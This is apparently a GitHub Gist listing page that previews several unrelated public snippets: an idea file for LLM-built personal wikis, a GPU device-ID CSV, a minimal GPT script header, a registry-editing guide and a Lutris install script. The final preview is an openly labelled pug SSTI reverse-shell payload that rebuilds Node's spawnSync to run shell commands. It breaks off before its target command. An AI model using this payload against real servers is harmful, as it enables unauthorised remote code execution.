Skip to content

Instantly share code, notes, and snippets.

LLM Wiki

A pattern for building personal knowledge bases using LLMs.

This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.

The core idea

Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.

@roalercon
roalercon / Graphics Card Device IDs
Created January 23, 2015 15:42
CSV Database of Graphics Card Name, Vendor ID, Device ID, Integrated/APU flag, Discrete Mobile Part flag.
Device ID list from: http://developer.amd.com/resources/documentation-articles/articles-whitepapers/introduction-apuid/,,,,,
Aditional ID's from http://amd-dev.wpengine.netdna-cdn.com/wordpress/media/2012/10/ATI_Device_ID_List_Oct_20121.txt,,,,,
https://developer.nvidia.com/sites/default/files/akamai/device_ids_jan13.txt,,,,,
Aditional modern device ID's from: http://www.techpowerup.com/vgabios/,,,,,
Aditional Information from http://www.notebookcheck.net/,,,,,
Aditional information from http://wikipedia.org/,,,,,
Aditional information from http://www.anandtech.com/,,,,,
,,,,,
Name,ASIC/Codename,Vendor ID,Device ID,Integrated/APU,Discrete Mobile Part
AMD FirePro 2270 (ATI FireGL),,0x1002,0x68F2,0,0
"""
The most atomic way to train and run inference for a GPT in pure, dependency-free Python.
This file is the complete algorithm.
Everything else is just efficiency.
@karpathy
"""
import os # os.path.exists
import math # math.log, math.exp
@en0ndev
en0ndev / visualstudio_contextmenu.md
Last active May 3, 2026 01:45
REMOVE "OPEN IN VISUAL STUDIO" IN THE CONTEXT MENU

How to Remove "Open in Visual Studio" in the Context Menu

Also you can watch the video.
https://www.youtube.com/watch?v=8S7s-p_enSY


STEP 1

  • Press Win+S keys, and search regedit then open Regedit (Registry Editor).

STEP 2

@pilot51
pilot51 / lutris_install_there_edge.yaml
Last active May 3, 2026 01:41
Lutris install script: There (Edge) & ThereIM
name: "There"
description: "Install There (Edge version) and ThereIM"
game_slug: there
version: ThereEdge
slug: there-edge
runner: wine
year: 2003
notes: |
Additional required software to be installed:
- Microsoft Edge
@Jasemalsadi
Jasemalsadi / ssti_rev_shell_pug_node_js
Created February 16, 2021 08:33
SSTI reverse shell for pug template engine Node js
h1= title
p Welcome to #{3*3}
#{spawn_sync = this.process.binding('spawn_sync')}
#{ normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(' ');typeof a.shell==='string'?c=a.shell:c='/bin/sh',b=['-c',g];}typeof a.argv0==='string'?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+'='+d[f]);return{file:c,args:b,options:a,envPairs:e};}}
#{spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:'pipe',readable:!0,writable:!1},{type:'pipe',readable:!1,writable:!0},{type:'pipe',readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}conso